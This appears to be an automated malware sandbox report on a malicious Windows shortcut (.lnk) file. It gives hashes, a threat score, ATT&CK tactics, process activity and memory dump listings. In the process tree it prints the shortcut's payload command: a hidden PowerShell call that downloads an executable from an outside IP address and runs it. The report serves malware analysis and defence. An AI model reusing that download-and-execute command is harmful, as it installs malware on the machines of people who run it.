2569719f10716037055dcfd1881afbe2f02a2683a4f93aea3e66319abc9c51a6

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
05-12-2023 02:33

Target

2569719f10716037055dcfd1881afbe2f02a2683a4f93aea3e66319abc9c51a6.lnk
Size

1KB
MD5

5a386046ab5890a19a7960fa89039bb5
SHA1

a0f02f841aeeac4a3642180769bffcbe840f0d55
SHA256

2569719f10716037055dcfd1881afbe2f02a2683a4f93aea3e66319abc9c51a6
SHA512

1be349998ac8d79ba279d561c0fca859a3568729b5c06dfa345b71d0359ec1c0afb553a878e4484a546842962a5744a995b86162db5ff74b9b0163197b6c562d

Score

5^/10

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2624 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2624 powershell.exe

pid	process
2624	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2624	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.execmd.exe

description	pid	process	target process
PID 3000 wrote to memory of 2700	3000	cmd.exe	cmd.exe
PID 3000 wrote to memory of 2700	3000	cmd.exe	cmd.exe
PID 3000 wrote to memory of 2700	3000	cmd.exe	cmd.exe
PID 2700 wrote to memory of 2624	2700	cmd.exe	powershell.exe
PID 2700 wrote to memory of 2624	2700	cmd.exe	powershell.exe
PID 2700 wrote to memory of 2624	2700	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2569719f10716037055dcfd1881afbe2f02a2683a4f93aea3e66319abc9c51a6.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell.exe -windowstyle hidden -command "& {Invoke-WebRequest -Uri 'http://185.196.9.20/test/sleeps.exe' -OutFile $env:TEMP\sleeps.exe; & $env:TEMP\sleeps.exe}"
2⤵
- Suspicious use of WriteProcessMemory
PID:2700

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/2624-40-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2624-42-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2624-41-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2624-43-0x0000000002D00000-0x0000000002D80000-memory.dmp

Filesize
512KB

Download
memory/2624-44-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download
memory/2624-47-0x0000000002D00000-0x0000000002D80000-memory.dmp

Filesize
512KB

Download
memory/2624-46-0x0000000002D00000-0x0000000002D80000-memory.dmp

Filesize
512KB

Download
memory/2624-45-0x0000000002D00000-0x0000000002D80000-memory.dmp

Filesize
512KB

Download
memory/2624-48-0x000007FEF5140000-0x000007FEF5ADD000-memory.dmp

Filesize
9.6MB

Download